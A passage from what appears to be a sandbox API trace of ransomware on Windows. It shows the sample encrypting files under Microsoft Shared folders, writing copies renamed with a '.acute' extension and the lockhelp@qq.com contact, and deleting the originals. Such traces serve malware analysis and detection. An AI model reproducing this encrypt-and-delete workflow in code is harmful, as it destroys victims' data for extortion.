pdwDataLen=0x355f6a0*=0x430, dwBufLen=0x430 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x430) returned 1 [0050.094] WriteFile (in: hFile=0x1b0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x430, lpOverlapped=0x0) returned 1 [0050.095] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593060) returned 1 [0050.095] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0050.095] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x30, dwBufLen=0x30 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x30) returned 1 [0050.095] CryptDestroyKey (hKey=0x593060) returned 1 [0050.095] WriteFile (in: hFile=0x1b0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xe2, lpOverlapped=0x0) returned 1 [0050.095] CryptDestroyKey (hKey=0x5930a0) returned 1 [0050.095] CloseHandle (hObject=0x1ac) returned 1 [0050.095] CloseHandle (hObject=0x1b0) returned 1 [0050.096] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0050.097] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0050.099] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1061) returned 1 [0050.099] CloseHandle (hObject=0x1ac) returned 1 [0050.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0050.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0050.100] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0050.100] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0050.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0050.100] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0050.100] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0050.100] ReadFile (in: hFile=0x1ac, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x425, lpOverlapped=0x0) returned 1 [0050.102] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x430, dwBufLen=0x430 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x430) returned 1 [0050.102] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x430, lpOverlapped=0x0) returned 1 [0050.103] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0050.103] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0050.103] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x30, dwBufLen=0x30 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x30) returned 1 [0050.103] CryptDestroyKey (hKey=0x593260) returned 1 [0050.103] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xe2, lpOverlapped=0x0) returned 1 [0050.103] CryptDestroyKey (hKey=0x5930a0) returned 1 [0050.103] CloseHandle (hObject=0x1ac) returned 1 [0050.104] CloseHandle (hObject=0x184) returned 1 [0050.104] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0050.105] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0050.105] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1682) returned 1 [0050.105] CloseHandle (hObject=0x184) returned 1 [0050.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0050.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0050.106] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0050.106] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0050.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0050.106] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0050.106] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0050.106] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x692, lpOverlapped=0x0) returned 1 [0050.108] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x6a0) returned 1 [0050.108] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x6a0, lpOverlapped=0x0) returned 1 [0050.109] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0050.109] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0050.109] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x30, dwBufLen=0x30 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x30) returned 1 [0050.109] CryptDestroyKey (hKey=0x593260) returned 1 [0050.109] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xe2, lpOverlapped=0x0) returned 1 [0050.109] CryptDestroyKey (hKey=0x5930a0) returned 1 [0050.109] CloseHandle (hObject=0x184) returned 1 [0050.110] CloseHandle (hObject=0x1ac) returned 1 [0050.110] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0050.111] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.114] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=791686) returned 1 [0050.114] CloseHandle (hObject=0x1b0) returned 1 [0050.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0050.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.114] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.115] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=27045) returned 1 [0050.115] CloseHandle (hObject=0x1b0) returned 1 [0050.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0050.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.115] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.116] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=89600) returned 1 [0050.116] CloseHandle (hObject=0x1b0) returned 1 [0050.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0050.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.117] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.118] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=31744) returned 1 [0050.118] CloseHandle (hObject=0x1b0) returned 1 [0050.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0050.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.118] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.118] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=33280) returned 1 [0050.118] CloseHandle (hObject=0x1b0) returned 1 [0050.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0050.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.119] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.119] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=62976) returned 1 [0050.119] CloseHandle (hObject=0x1b0) returned 1 [0050.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0050.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.119] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.119] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=197120) returned 1 [0050.119] CloseHandle (hObject=0x1b0) returned 1 [0050.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0050.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.120] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.121] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=224256) returned 1 [0050.121] CloseHandle (hObject=0x1b0) returned 1 [0050.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0050.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.121] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.121] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=222208) returned 1 [0050.121] CloseHandle (hObject=0x1b0) returned 1 [0050.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0050.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.122] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.122] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=194048) returned 1 [0050.122] CloseHandle (hObject=0x1b0) returned 1 [0050.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0050.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.122] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.123] GetFileSizeEx 